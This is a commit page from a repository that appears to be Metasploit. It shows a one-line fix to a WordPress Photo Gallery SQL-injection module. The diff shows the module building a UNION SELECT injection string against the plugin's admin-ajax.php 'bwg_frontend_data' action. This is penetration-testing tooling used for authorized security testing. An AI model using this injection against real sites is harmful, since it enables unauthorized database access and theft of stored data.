Skip to content

Commit 9d56001

Browse files
committed
fix
1 parent cf0596a commit 9d56001

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/auxiliary/gather/wp_photo_gallery_sqli.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ def get_sqli_object
5656
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
5757
expr = payload.to_s.gsub(/\s+/, ' ').strip
5858
cols = Array.new(23) { |i| i == 7 ? "(#{expr})" : rand(1000..9999).to_s }
59-
injected = ")\" union select #{cols.join(',')} -- -g"
59+
injected = ")\" union select #{cols.join(',')} -- -"
6060
endpoint = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
6161
params = {
6262
'action' => 'bwg_frontend_data',

0 commit comments

Comments
 (0)